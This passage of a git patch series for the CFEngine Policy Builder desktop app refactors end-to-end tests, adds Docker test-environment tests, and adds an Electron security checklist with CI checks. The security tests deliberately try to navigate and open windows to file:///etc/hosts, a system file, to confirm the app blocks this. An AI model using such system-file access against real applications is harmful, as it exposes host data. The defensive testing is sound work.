`--user-data-dir=${userDataDir}`], env }); - window = await app.firstWindow(); - window.on('console', message => { - if (message.type() === 'error') consoleErrors.push(message.text()); - }); - window.on('pageerror', error => consoleErrors.push(`pageerror: ${error.message}`)); - // The renderer listens for menu actions once it has rendered. +// The renderer listens for menu actions once it has rendered. +test.beforeEach(async ({ window }) => { await expect(window.getByText(/^Try Demo:/)).toBeVisible(); }); -// eslint-disable-next-line no-empty-pattern -- Playwright requires the fixtures arg to be destructured -test.afterEach(async ({}, testInfo) => { - if (testInfo.status !== testInfo.expectedStatus && window) { - const path = testInfo.outputPath('failure.png'); - await window.screenshot({ path }); - await testInfo.attach('screenshot', { path, contentType: 'image/png' }); - } - await app?.evaluate(({ app: electronApp }) => electronApp.exit(0)).catch(() => {}); - await app?.close(); - rmSync(scratchDir, { recursive: true, force: true }); -}); - -test('opens a builder project with its blocks and arrows, clean, and saves it back', async () => { - const path = writeProject('web', builderProject, builderData); +test('opens a builder project with its blocks and arrows, clean, and saves it back', async ({ app, window, scratchDir, consoleErrors }) => { + const path = writeProject(scratchDir, 'web', builderProject, builderData); const statusBar = window.locator('footer'); const unsaved = window.getByLabel('Unsaved changes'); await test.step('opening loads the blocks and arrows, not dirty', async () => { - await openFromMenu(path); + await openFromMenu(app, path); await expect(statusBar.getByText('Project: Web Hardening')).toBeVisible(); await expect(statusBar.getByText('Blocks: 2', { exact: true })).toBeVisible(); await expect(window.locator('.react-flow').getByText('Say goodbye', { exact: true })).toBeVisible(); @@ -140,12 +104,12 @@ test('opens a builder project with its blocks and arrows, clean, and saves it ba expect(consoleErrors, 'console errors during the run').toEqual([]); }); -test('opens a plain cfbs project with one empty file, keeping its build entries on save', async () => { +test('opens a plain cfbs project with one empty file, keeping its build entries on save', async ({ app, window, scratchDir, consoleErrors }) => { const fake = { name: 'some-module', version: '1.0.0', added_by: 'cfbs add', steps: ['copy a.cf services/a.cf'] }; - const path = writeProject('plain', { name: 'Plain Project', type: 'policy-set', description: '', build: [fake] }); + const path = writeProject(scratchDir, 'plain', { name: 'Plain Project', type: 'policy-set', description: '', build: [fake] }); const statusBar = window.locator('footer'); - await openFromMenu(join(path, 'cfbs.json')); + await openFromMenu(app, join(path, 'cfbs.json')); await expect(statusBar.getByText('Project: Plain Project')).toBeVisible(); await expect(statusBar.getByText('Blocks: 0', { exact: true })).toBeVisible(); await expect(statusBar.getByText('File: Plain Project.cf')).toBeVisible(); @@ -161,19 +125,19 @@ test('opens a plain cfbs project with one empty file, keeping its build entries expect(consoleErrors, 'console errors during the run').toEqual([]); }); -test('a project from a newer builder does not open, and shows why', async () => { - const path = writeProject('newer', builderProject, { ...builderData, schema_version: 99 }); +test('a project from a newer builder does not open, and shows why', async ({ app, window, scratchDir }) => { + const path = writeProject(scratchDir, 'newer', builderProject, { ...builderData, schema_version: 99 }); - await openFromMenu(path); + await openFromMenu(app, path); await expect(window.getByRole('alert')).toContainText('newer version of CFEngine Policy Builder'); await expect(window.getByText(/^Try Demo:/)).toBeVisible(); }); -test('opens a project whose builder data is still in cfbs.json, and moves it out on save', async () => { - const path = writeProject('legacy', { ...builderProject, meta: { 'policy-builder': builderData, 'other-tool': { kept: true } } }); +test('opens a project whose builder data is still in cfbs.json, and moves it out on save', async ({ app, window, scratchDir, consoleErrors }) => { + const path = writeProject(scratchDir, 'legacy', { ...builderProject, meta: { 'policy-builder': builderData, 'other-tool': { kept: true } } }); const statusBar = window.locator('footer'); - await openFromMenu(path); + await openFromMenu(app, path); await expect(statusBar.getByText('Blocks: 2', { exact: true })).toBeVisible(); const save = window.getByRole('button', { name: 'Save', exact: true }); await expect(save).toBeDisabled(); @@ -188,8 +152,8 @@ test('opens a project whose builder data is still in cfbs.json, and moves it out expect(consoleErrors, 'console errors during the run').toEqual([]); }); -test('Project Settings converts a policy set to a module and back', async () => { - const path = writeProject('convert', builderProject, builderData); +test('Project Settings converts a policy set to a module and back', async ({ app, window, scratchDir, consoleErrors }) => { + const path = writeProject(scratchDir, 'convert', builderProject, builderData); const statusBar = window.locator('footer'); const settings = window.getByRole('button', { name: 'Project settings' }); const store = async (as: 'Module' | 'Policy set') => { @@ -199,7 +163,7 @@ test('Project Settings converts a policy set to a module and back', async () => await expect(window.getByRole('dialog')).toHaveCount(0, { timeout: SAVE_TIMEOUT_MS }); }; - await openFromMenu(path); + await openFromMenu(app, path); await expect(statusBar.getByText('Blocks: 2', { exact: true })).toBeVisible(); await store('Module'); diff --git a/e2e/test-environments.spec.ts b/e2e/test-environments.spec.ts new file mode 100644 index 0000000..2f08690 --- /dev/null +++ b/e2e/test-environments.spec.ts @@ -0,0 +1,107 @@ +import { type Locator, type Page } from '@playwright/test'; +import { execFileSync } from 'child_process'; +import { mkdirSync, writeFileSync } from 'fs'; +import { join } from 'path'; + +import { expect, openFromMenu, test } from './fixtures'; + +// The Test Results & Logs tab. Running the demo on a Docker host is opt-in (CFPB_DOCKER_TESTS=1). +const DOCKER = process.env.CFPB_DOCKER_TESTS === '1'; +// The demo environment's fixed id: Docker labels its containers and network with it. +const DEMO_ENV = 'demo-web-server'; + +const docker = (...args: string[]) => execFileSync('docker', args, { encoding: 'utf-8', stdio: ['ignore', 'pipe', 'ignore'] }).trim(); +const dockerUp = () => { + try { + docker('info'); + return true; + } catch { + return false; + } +}; +const demoContainers = () => docker('ps', '-aq', '--filter', `label=cfpb.env=${DEMO_ENV}`).split('\n').filter(Boolean); + +// A host card: the outlined paper around the host's name. +const hostCard = (window: Page, name: string): Locator => + window + .getByRole('main') + .locator('.MuiPaper-outlined') + .filter({ has: window.getByText(name, { exact: true }) }); + +test('a project without environments creates one with a hub host', async ({ app, window, scratchDir, consoleErrors }) => { + const path = join(scratchDir, 'empty'); + mkdirSync(path); + writeFileSync(join(path, 'cfbs.json'), JSON.stringify({ name: 'No Tests', type: 'policy-set', description: '', build: [] })); + await expect(window.getByText(/^Try Demo:/)).toBeVisible(); + await openFromMenu(app, path); + await expect(window.locator('footer').getByText('Project: No Tests')).toBeVisible(); + + await window.getByRole('tab', { name: 'Test Results & Logs' }).click(); + await expect(window.getByText(/^Run this project.s policy on Docker containers\.$/)).toBeVisible(); + // Creating only adds it to the project: nothing starts. + await window.getByRole('button', { name: 'Create test environment' }).click(); + const card = hostCard(window, 'hub'); + await expect(card.getByText('HUB', { exact: true })).toBeVisible(); + await expect(card.getByText('Not set up', { exact: true })).toBeVisible(); + await expect(window.getByText('1 host', { exact: true })).toBeVisible(); + await expect(window.getByLabel('Unsaved changes')).toBeVisible(); + expect(consoleErrors, 'console errors during the run').toEqual([]); +}); + +test.describe('with Docker', () => { + test.skip(!DOCKER, 'runs Docker containers: set CFPB_DOCKER_TESTS=1 to run'); + test.skip(() => DOCKER && !dockerUp(), 'docker info failed: Docker isn’t running'); + // The first run pulls the base image and installs CFEngine; later ones reuse the cached image. + test.setTimeout(900_000); + + test.beforeAll(() => { + // The demo's containers have fixed labels: don't take over (and then destroy) someone's own. + test.skip(demoContainers().length > 0, `the demo's containers (label cfpb.env=${DEMO_ENV}) already exist`); + }); + + test.afterAll(() => { + // Even after a failure: no container or network left behind. + if (!dockerUp()) return; + const containers = demoContainers(); + if (containers.length) docker('rm', '-f', ...containers); + const networks = docker('network', 'ls', '-q', '--filter', `label=cfpb.env=${DEMO_ENV}`).split('\n').filter(Boolean); + if (networks.length) docker('network', 'rm', ...networks); + }); + + test('the demo deploys and runs on its web host', async ({ window }) => { + const card = hostCard(window, 'web'); + const deployAndRun = window.getByRole('button', { name: 'Deploy & run', exact: true }); + + await test.step('open the demo on Test Results & Logs', async () => { + await window.getByText(/^Try Demo:/).click(); + await window.getByRole('tab', { name: 'Test Results & Logs' }).click(); + await expect(card.getByText('Not set up', { exact: true })).toBeVisible(); + await expect(card.getByRole('link', { name: 'localhost:8080' })).toBeVisible(); + }); + + await test.step('Deploy & run sets the host up and runs the policy', async () => { + await deployAndRun.click(); + await expect(window.getByRole('button', { name: 'Cancel' })).toBeVisible(); + // Generous: pulling the image and installing CFEngine can take minutes on a cold cache. + await expect(deployAndRun).toBeVisible({ timeout: 600_000 }); + await expect(card.getByText(/^\d+% kept · \d+% repaired · \d+% not kept/)).toBeVisible(); + await expect(window.getByRole('button', { name: 'Copy the log' })).toBeEnabled(); + await expect(window.getByText(/^Nothing yet: Deploy & run/)).toHaveCount(0); + }); + + await test.step('the host serves the landing page', async () => { + const response = await fetch('http://localhost:8080/'); + expect(response.status).toBe(200); + expect(await response.text()).toContain('CFEngine Policy Builder demo project'); + }); + + await test.step('Stop, then Destroy containers', async () => { + await window.getByRole('button', { name: 'Stop', exact: true }).click(); + await expect(card.getByText('Stopped', { exact: true })).toBeVisible({ timeout: 120_000 }); + await window.getByRole('button', { name: 'Test environment settings' }).click(); + await window.getByRole('dialog').getByRole('button', { name: 'Destroy containers' }).click(); + await expect(card.getByText('Not set up', { exact: true })).toBeVisible({ timeout: 120_000 }); + expect(demoContainers()).toEqual([]); + }); + }); +}); From f9a11dd08bc51317621dcc3f2e4603319409d063 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 15:10:47 +0300 Subject: [PATCH 079/141] README: Added the CI status badge Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 2ce79c7..e630ea4 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,7 @@ # CFEngine Policy Builder +[![CI](https://github.com/cfengine/policy-builder/actions/workflows/ci.yml/badge.svg?branch=main)](https://github.com/cfengine/policy-builder/actions/workflows/ci.yml) + Desktop application for building CFEngine policy. **Stack:** From 88f5e92d125f5e04caced61ae834e819b6b9e3a5 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 15:30:32 +0300 Subject: [PATCH 080/141] Added the Electron security checklist and a workflow that checks it SECURITY-CHECKLIST.md maps each of Electron's security recommendations to the code that follows it. The Electron security workflow checks them in the source, in the running window, in the packaged app's fuses, and weekly that Electron is still supported with no npm advisory. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- .github/workflows/electron-security.yml | 71 +++++++++++++++ README.md | 6 ++ SECURITY-CHECKLIST.md | 46 ++++++++++ e2e/security.spec.ts | 79 +++++++++++++++++ eslint.config.mjs | 2 +- package.json | 4 +- scripts/electron-support-check.mjs | 35 ++++++++ scripts/fuses-check.mjs | 25 ++++++ scripts/security-checks.mjs | 110 ++++++++++++++++++++++++ 9 files changed, 375 insertions(+), 3 deletions(-) create mode 100644 .github/workflows/electron-security.yml create mode 100644 SECURITY-CHECKLIST.md create mode 100644 e2e/security.spec.ts create mode 100644 scripts/electron-support-check.mjs create mode 100644 scripts/fuses-check.mjs create mode 100644 scripts/security-checks.mjs diff --git a/.github/workflows/electron-security.yml b/.github/workflows/electron-security.yml new file mode 100644 index 0000000..e9392fa --- /dev/null +++ b/.github/workflows/electron-security.yml @@ -0,0 +1,71 @@ +name: Electron security + +# Checks the app follows Electron's security checklist (SECURITY-CHECKLIST.md): in the source, +# in the running window, and in the packaged binary. Weekly too: Electron support can lapse +# and advisories appear without any change here. +on: + push: + branches: [main] + pull_request: + schedule: + - cron: '0 6 * * 1' + workflow_dispatch: + +permissions: + contents: read + +concurrency: + group: electron-security-${{ github.ref }} + cancel-in-progress: true + +jobs: + source: + name: Source checks + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v7 + - uses: actions/setup-node@v7 + with: + node-version-file: .nvmrc + - run: node scripts/security-checks.mjs + + electron: + name: Supported Electron, no advisories + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v7 + - uses: actions/setup-node@v7 + with: + node-version-file: .nvmrc + - run: node scripts/electron-support-check.mjs + + runtime: + name: Running window + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v7 + - uses: actions/setup-node@v7 + with: + node-version-file: .nvmrc + cache: npm + - run: npm ci + # Ubuntu 24.04's AppArmor blocks the unprivileged user namespaces Chromium's sandbox needs. + - run: sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0 + - run: npx electron-vite build + - run: xvfb-run -a npx playwright test -c e2e/playwright.config.ts e2e/security.spec.ts + + packaged: + name: Fuses in the packaged app + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v7 + - uses: actions/setup-node@v7 + with: + node-version-file: .nvmrc + cache: npm + - run: npm ci + - run: npx electron-vite build + # The sidecar isn't what's checked here: an empty bundle folder satisfies extraResources. + - run: mkdir -p python/dist/cfpb-backend + - run: npx electron-builder --linux --dir + - run: node scripts/fuses-check.mjs release/linux-unpacked/cfengine-policy-builder diff --git a/README.md b/README.md index e630ea4..48716d7 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,7 @@ # CFEngine Policy Builder [![CI](https://github.com/cfengine/policy-builder/actions/workflows/ci.yml/badge.svg?branch=main)](https://github.com/cfengine/policy-builder/actions/workflows/ci.yml) +[![Electron security](https://github.com/cfengine/policy-builder/actions/workflows/electron-security.yml/badge.svg?branch=main)](SECURITY-CHECKLIST.md) Desktop application for building CFEngine policy. @@ -29,6 +30,11 @@ npm run dev # launches Electron app prerequisite. Without it, the app runs but anything touching the backend reports that it cannot be found. +## Security + +How the app follows Electron's security recommendations, item by item, and +how that is checked: [SECURITY-CHECKLIST.md](SECURITY-CHECKLIST.md). + ## Project structure electron-vite builds three targets from `src/`: diff --git a/SECURITY-CHECKLIST.md b/SECURITY-CHECKLIST.md new file mode 100644 index 0000000..e8c1999 --- /dev/null +++ b/SECURITY-CHECKLIST.md @@ -0,0 +1,46 @@ +# Electron security checklist + +[![Electron security](https://github.com/cfengine/policy-builder/actions/workflows/electron-security.yml/badge.svg?branch=main)](https://github.com/cfengine/policy-builder/actions/workflows/electron-security.yml) + +How CFEngine Policy Builder follows Electron's +[security recommendations](https://www.electronjs.org/docs/latest/tutorial/security#checklist-security-recommendations), +item by item, with the code that shows it. The +[Electron security](.github/workflows/electron-security.yml) workflow checks every item marked ✅ +on each push and pull request, and weekly: + +- **Source checks:** [`scripts/security-checks.mjs`](scripts/security-checks.mjs) reads the code and config each item depends on. +- **Running window:** [`e2e/security.spec.ts`](e2e/security.spec.ts) inspects the real app's window: its web preferences, CSP, permissions, navigation and popups. +- **Packaged app:** [`scripts/fuses-check.mjs`](scripts/fuses-check.mjs) reads the fuses from a packaged binary. +- **Electron version:** [`scripts/electron-support-check.mjs`](scripts/electron-support-check.mjs) checks the Electron major is still supported and `npm audit` has no advisory for it. + +| # | Recommendation | Status | Evidence | +| --- | --- | --- | --- | +| 1 | [Only load secure content](https://www.electronjs.org/docs/latest/tutorial/security#1-only-load-secure-content) | ✅ | The packaged app loads its own files only. Everything it fetches is https: the Enterprise hub (`checkedUrl` in [`src/main/hub.ts`](src/main/hub.ts) refuses anything else), the masterfiles versions index (`VERSIONS_URL` in [`src/main/project.ts`](src/main/project.ts)). `http://` appears only for the development server on localhost. | +| 2 | [Do not enable Node.js integration for remote content](https://www.electronjs.org/docs/latest/tutorial/security#2-do-not-enable-nodejs-integration-for-remote-content) | ✅ | `nodeIntegration` is never enabled (`createWindow` in [`src/main/index.ts`](src/main/index.ts)); the running page has no `require` or `process`. | +| 3 | [Enable context isolation](https://www.electronjs.org/docs/latest/tutorial/security#3-enable-context-isolation) | ✅ | `contextIsolation: true` in `createWindow` ([`src/main/index.ts`](src/main/index.ts)). | +| 4 | [Enable process sandboxing](https://www.electronjs.org/docs/latest/tutorial/security#4-enable-process-sandboxing) | ✅ | `sandbox: true` in `createWindow` ([`src/main/index.ts`](src/main/index.ts)); no `--no-sandbox`. | +| 5 | [Handle session permission requests from remote content](https://www.electronjs.org/docs/latest/tutorial/security#5-handle-session-permission-requests-from-remote-content) | ✅ | `setPermissionRequestHandler` in [`src/main/index.ts`](src/main/index.ts) grants only `clipboard-sanitized-write` (Copy in Generated Policy) and denies the rest. | +| 6 | [Do not disable `webSecurity`](https://www.electronjs.org/docs/latest/tutorial/security#6-do-not-disable-websecurity) | ✅ | Never set; the running window reports `webSecurity: true`. | +| 7 | [Define a Content Security Policy](https://www.electronjs.org/docs/latest/tutorial/security#7-define-a-content-security-policy) | ✅ | The `` in [`src/renderer/index.html`](src/renderer/index.html): `default-src 'self'`, `script-src 'self'` (no inline scripts, no `eval`). `style-src` allows `'unsafe-inline'`, which Emotion/MUI need for their injected styles. | +| 8 | [Do not enable `allowRunningInsecureContent`](https://www.electronjs.org/docs/latest/tutorial/security#8-do-not-enable-allowrunninginsecurecontent) | ✅ | Never set; the running window reports `false`. | +| 9 | [Do not enable experimental features](https://www.electronjs.org/docs/latest/tutorial/security#9-do-not-enable-experimental-features) | ✅ | Never set; the running window reports `false`. | +| 10 | [Do not use `enableBlinkFeatures`](https://www.electronjs.org/docs/latest/tutorial/security#10-do-not-use-enableblinkfeatures) | ✅ | Never set. | +| 11 | [Do not use `allowpopups` for WebViews](https://www.electronjs.org/docs/latest/tutorial/security#11-do-not-use-allowpopups-for-webviews) | ✅ | The app has no ``. | +| 12 | [Verify WebView options before creation](https://www.electronjs.org/docs/latest/tutorial/security#12-verify-webview-options-before-creation) | ✅ | `webviewTag` stays off (the running window reports `false`), so no webview can be attached. | +| 13 | [Disable or limit navigation](https://www.electronjs.org/docs/latest/tutorial/security#13-disable-or-limit-navigation) | ✅ | The `will-navigate` handler in [`src/main/index.ts`](src/main/index.ts) prevents any navigation away from the loaded page; http(s) links go to the system browser instead. | +| 14 | [Disable or limit creation of new windows](https://www.electronjs.org/docs/latest/tutorial/security#14-disable-or-limit-creation-of-new-windows) | ✅ | `setWindowOpenHandler` in [`src/main/index.ts`](src/main/index.ts) always returns `{ action: 'deny' }`; http(s) links open in the system browser. | +| 15 | [Do not use `shell.openExternal` with untrusted content](https://www.electronjs.org/docs/latest/tutorial/security#15-do-not-use-shellopenexternal-with-untrusted-content) | ✅ | The only `shell.openExternal` call is in `openExternalIfSafe` ([`src/main/index.ts`](src/main/index.ts)), which passes only `http:` and `https:` URLs. | +| 16 | [Use a current version of Electron](https://www.electronjs.org/docs/latest/tutorial/security#16-use-a-current-version-of-electron) | ✅ | Electron 44 ([`package.json`](package.json)), checked weekly against Electron's supported majors and `npm audit`. | +| 17 | [Validate the sender of all IPC messages](https://www.electronjs.org/docs/latest/tutorial/security#17-validate-the-sender-of-all-ipc-messages) | ✅ | Every `ipcMain.handle` checks `isTrustedFrame` ([`src/main/index.ts`](src/main/index.ts)): the top frame of our own page only. Feature modules wrap their handlers in `trusted(…)` ([`project.ts`](src/main/project.ts), [`deploy.ts`](src/main/deploy.ts), [`hub.ts`](src/main/hub.ts), [`testenv.ts`](src/main/testenv.ts)). Unit tests check untrusted senders are refused ([`project.test.ts`](src/main/project.test.ts), [`deploy.test.ts`](src/main/deploy.test.ts)). | +| 18 | [Avoid usage of the `file` protocol and prefer usage of custom protocols](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) | ❌ Not yet | The packaged app loads its page with `loadFile` (`file://`), and the `GrantFileProtocolExtraPrivileges` fuse stays on because its ES-module scripts need it under `file://` ([`electron-builder.yml`](electron-builder.yml)). Mitigated by items 7, 13 and 17: the page can't navigate, load other scripts, or reach IPC from another frame. The fix is serving the app from a custom `app://` scheme (`protocol.handle`), then turning that fuse off. | +| 19 | [Check which fuses you can change](https://www.electronjs.org/docs/latest/tutorial/security#19-check-which-fuses-you-can-change) | ✅ | `electronFuses` in [`electron-builder.yml`](electron-builder.yml): `RunAsNode`, `EnableNodeOptionsEnvironmentVariable` and `EnableNodeCliInspectArguments` off; `EnableCookieEncryption`, `OnlyLoadAppFromAsar` and `EnableEmbeddedAsarIntegrityValidation` on. Read back from the packaged binary. `GrantFileProtocolExtraPrivileges`: see item 18. | +| 20 | [Do not expose Electron APIs to untrusted web content](https://www.electronjs.org/docs/latest/tutorial/security#20-do-not-expose-electron-apis-to-untrusted-web-content) | ✅ | The preload ([`src/preload/index.ts`](src/preload/index.ts)) exposes one object, `window.api`, of functions over fixed channels; never `ipcRenderer` itself, and event listeners get only the payload, not the `IpcRendererEvent`. | + +## Running the checks locally + +```sh +node scripts/security-checks.mjs # source checks +node scripts/electron-support-check.mjs # supported Electron, npm audit +npx electron-vite build && npx playwright test -c e2e/playwright.config.ts e2e/security.spec.ts +npx electron-builder --dir && node scripts/fuses-check.mjs "release/mac/CFEngine Policy Builder.app" +``` diff --git a/e2e/security.spec.ts b/e2e/security.spec.ts new file mode 100644 index 0000000..191a5cc --- /dev/null +++ b/e2e/security.spec.ts @@ -0,0 +1,79 @@ +import { expect, test } from './fixtures'; + +// The Electron security checklist at runtime (SECURITY-CHECKLIST.md): what the real window does. +// Navigation and popup attempts use file: URLs, which the app never hands to the OS browser. + +test('the window runs isolated, sandboxed and without Node', async ({ app, window: page }) => { + const preferences = await app.evaluate(({ BrowserWindow }) => { + // Not in Electron's type declarations, but on every WebContents. + const contents = BrowserWindow.getAllWindows()[0].webContents as unknown as { getLastWebPreferences: () => Record | null }; + const prefs = contents.getLastWebPreferences(); + return { + contextIsolation: prefs?.contextIsolation, + sandbox: prefs?.sandbox, + nodeIntegration: prefs?.nodeIntegration, + nodeIntegrationInSubFrames: prefs?.nodeIntegrationInSubFrames, + webSecurity: prefs?.webSecurity, + allowRunningInsecureContent: prefs?.allowRunningInsecureContent, + experimentalFeatures: prefs?.experimentalFeatures, + webviewTag: prefs?.webviewTag + }; + }); + expect(preferences).toEqual({ + contextIsolation: true, + sandbox: true, + nodeIntegration: false, + nodeIntegrationInSubFrames: false, + webSecurity: true, + allowRunningInsecureContent: false, + experimentalFeatures: false, + webviewTag: false + }); + // The page itself sees no Node and no Electron; only window.api's functions. + expect(await page.evaluate(() => [typeof (globalThis as Record).require, typeof (globalThis as Record).process])).toEqual([ + 'undefined', + 'undefined' + ]); + const api = await page.evaluate(() => Object.entries(window.api ?? {}).map(([key, value]) => `${key}:${typeof value}`)); + expect(api.length).toBeGreaterThan(0); + expect(api.every(entry => entry.endsWith(':function'))).toBe(true); +}); + +test('the page has a strict Content Security Policy', async ({ window: page }) => { + const csp = await page.locator('meta[http-equiv="Content-Security-Policy"]').getAttribute('content'); + expect(csp).toContain(`default-src 'self'`); + expect(csp).toContain(`script-src 'self'`); + expect(csp).not.toContain('unsafe-eval'); + // An inline script is refused. + expect( + await page.evaluate(() => { + const script = document.createElement('script'); + script.textContent = 'window.__inlineRan = true'; + document.head.append(script); + return (window as unknown as { __inlineRan?: boolean }).__inlineRan ?? false; + }) + ).toBe(false); +}); + +test('web permissions are denied', async ({ window: page }) => { + expect(await page.evaluate(() => Notification.requestPermission())).toBe('denied'); + expect( + await page.evaluate(() => + navigator.mediaDevices.getUserMedia({ video: true }).then( + () => 'granted', + () => 'denied' + ) + ) + ).toBe('denied'); +}); + +test('the page can neither navigate away nor open windows', async ({ app, window: page }) => { + const url = page.url(); + await page.evaluate(() => { + window.location.href = 'file:///etc/hosts'; + }); + await page.waitForTimeout(500); + expect(page.url()).toBe(url); + expect(await page.evaluate(() => window.open('file:///etc/hosts') === null)).toBe(true); + expect(await app.evaluate(({ BrowserWindow }) => BrowserWindow.getAllWindows().length)).toBe(1); +}); diff --git a/eslint.config.mjs b/eslint.config.mjs index bb77d7c..bf1b46d 100644 --- a/eslint.config.mjs +++ b/eslint.config.mjs @@ -7,7 +7,7 @@ export default [ }, ...ntReactConfig, { - files: ['src/main/**/*.ts', 'src/preload/**/*.ts', 'electron.vite.config.ts', 'e2e/**/*.ts'], + files: ['src/main/**/*.ts', 'src/preload/**/*.ts', 'electron.vite.config.ts', 'e2e/**/*.ts', 'scripts/**/*.mjs'], languageOptions: { globals: { ...globals.node } } diff --git a/package.json b/package.json index d6b2bbe..42e2547 100644 --- a/package.json +++ b/package.json @@ -29,8 +29,8 @@ "typecheck": "npm run typecheck:node && npm run typecheck:web", "lint": "eslint . --max-warnings=0", "lint:fix": "eslint . --fix", - "format": "prettier --write \"src/**/*.{ts,tsx,css,json}\" \"e2e/**/*.ts\"", - "format:check": "prettier --check \"src/**/*.{ts,tsx,css,json}\" \"e2e/**/*.ts\"", + "format": "prettier --write \"src/**/*.{ts,tsx,css,json}\" \"e2e/**/*.ts\" \"scripts/**/*.mjs\"", + "format:check": "prettier --check \"src/**/*.{ts,tsx,css,json}\" \"e2e/**/*.ts\" \"scripts/**/*.mjs\"", "test": "vitest run --project renderer --project components --project main", "test:fast": "vitest run --project renderer --project main", "test:integration": "vitest run --project integration", diff --git a/scripts/electron-support-check.mjs b/scripts/electron-support-check.mjs new file mode 100644 index 0000000..1b26ad8 --- /dev/null +++ b/scripts/electron-support-check.mjs @@ -0,0 +1,35 @@ +// Checklist item 16 (SECURITY-CHECKLIST.md): the installed Electron is a supported major (Electron +// supports the latest three stable majors) and npm knows no advisory for it. +import { execFileSync } from 'child_process'; +import { readFileSync } from 'fs'; + +// From the lockfile, so no install is needed. +const installed = JSON.parse(readFileSync('package-lock.json', 'utf-8')).packages['node_modules/electron'].version; +const releases = await (await fetch('https://releases.electronjs.org/releases.json')).json(); +const stable = releases.map(release => release.version).filter(version => !version.includes('-')); +const supported = [...new Set(stable.map(version => Number(version.split('.')[0])))].sort((a, b) => b - a).slice(0, 3); +const major = Number(installed.split('.')[0]); +const latestOfMajor = stable.find(version => version.startsWith(`${major}.`)); + +let failed = false; +if (supported.includes(major)) console.log(`✓ Electron ${installed} is a supported major (supported: ${supported.join(', ')})`); +else { + console.log(`✗ Electron ${installed} is no longer supported (supported: ${supported.join(', ')})`); + failed = true; +} +if (latestOfMajor && latestOfMajor !== installed) console.log(` note: ${latestOfMajor} is the latest ${major}.x release`); + +// npm audit exits non-zero when it finds anything; its JSON is on stdout either way. +let report; +try { + report = JSON.parse(execFileSync('npm', ['audit', '--json'], { encoding: 'utf-8' })); +} catch (error) { + report = JSON.parse(error.stdout); +} +const advisory = report.vulnerabilities?.electron; +if (advisory) { + console.log(`✗ npm audit: electron is ${advisory.severity} (${advisory.via.map(via => (typeof via === 'string' ? via : via.title)).join('; ')})`); + failed = true; +} else console.log('✓ npm audit reports no advisory for electron'); + +if (failed) process.exit(1); diff --git a/scripts/fuses-check.mjs b/scripts/fuses-check.mjs new file mode 100644 index 0000000..5d0388c --- /dev/null +++ b/scripts/fuses-check.mjs @@ -0,0 +1,25 @@ +// Checklist item 19 (SECURITY-CHECKLIST.md): the fuses electron-builder.yml asks for are flipped +// in the packaged binary. Run: node scripts/fuses-check.mjs +import { execFileSync } from 'child_process'; + +const EXPECTED = { + RunAsNode: 'Disabled', + EnableCookieEncryption: 'Enabled', + EnableNodeOptionsEnvironmentVariable: 'Disabled', + EnableNodeCliInspectArguments: 'Disabled', + EnableEmbeddedAsarIntegrityValidation: 'Enabled', + OnlyLoadAppFromAsar: 'Enabled' +}; + +const app = process.argv[2]; +if (!app) throw new Error('usage: node scripts/fuses-check.mjs '); +const output = execFileSync('npx', ['electron-fuses', 'read', '--app', app], { encoding: 'utf-8' }); +const actual = Object.fromEntries([...output.matchAll(/^\s+(\w+) is (Enabled|Disabled)$/gm)].map(([, name, state]) => [name, state])); + +let failed = false; +for (const [name, state] of Object.entries(EXPECTED)) { + const ok = actual[name] === state; + failed ||= !ok; + console.log(`${ok ? '✓' : '✗'} ${name} is ${actual[name] ?? 'missing'}${ok ? '' : ` (expected ${state})`}`); +} +if (failed) process.exit(1); diff --git a/scripts/security-checks.mjs b/scripts/security-checks.mjs new file mode 100644 index 0000000..bdc07c2 --- /dev/null +++ b/scripts/security-checks.mjs @@ -0,0 +1,110 @@ +// Static checks for the Electron security checklist (SECURITY-CHECKLIST.md): each one reads +// the source or config that shows an item is followed. Run: node scripts/security-checks.mjs +import { readFileSync, readdirSync, statSync } from 'fs'; +import { join } from 'path'; + +const read = path => readFileSync(path, 'utf-8'); +const sources = dir => + readdirSync(dir).flatMap(name => { + const path = join(dir, name); + if (statSync(path).isDirectory()) return name === 'test' ? [] : sources(path); + return /\.(ts|tsx|html)$/.test(name) && !/\.test\.tsx?$/.test(name) ? [path] : []; + }); + +const appFiles = [...sources('src'), 'src/renderer/index.html'].map(path => ({ path, text: read(path) })); +const mainIndex = read('src/main/index.ts'); +const preload = read('src/preload/index.ts'); +const html = read('src/renderer/index.html'); +const builderConfig = read('electron-builder.yml'); + +// Window options' insecure values, anywhere in the app's own code. +const nowhere = pattern => { + const found = appFiles.filter(file => pattern.test(file.text)).map(file => file.path); + return found.length ? `found in ${found.join(', ')}` : null; +}; +const missing = (text, pattern, what) => (pattern.test(text) ? null : `missing: ${what}`); + +// Every ipcMain.handle/on in main checks its sender: wrapped in trusted(…) or calling isTrustedFrame. +function unguardedIpc() { + const unguarded = []; + for (const file of appFiles.filter(item => item.path.startsWith('src/main/'))) { + const calls = file.text.split(/(?=ipcMain\.(?:handle|on)\()/).slice(1); + for (const call of calls) { + const head = call.slice(0, 400); + if (!/^ipcMain\.(?:handle|on)\(\s*'[^']+',\s*(?:trusted\(|[^]*?isTrustedFrame\()/.test(head)) { + unguarded.push(`${file.path}: ${head.split('\n')[0].trim()}`); + } + } + } + return unguarded.length ? `unguarded: ${unguarded.join('; ')}` : null; +} + +const csp = /http-equiv="Content-Security-Policy"\s+content="([^"]+)"/.exec(html)?.[1] ?? ''; +const fuse = (name, value) => missing(builderConfig, new RegExp(`^\\s+${name}: ${value}\\b`, 'm'), `fuse ${name}: ${value}`); + +const CHECKS = [ + ['1. Only load secure content', () => nowhere(/['"`]http:\/\/(?!localhost|127\.0\.0\.1)/)], + ['2. No Node.js integration', () => nowhere(/nodeIntegration(InWorker|InSubFrames)?\s*:\s*true/)], + ['3. 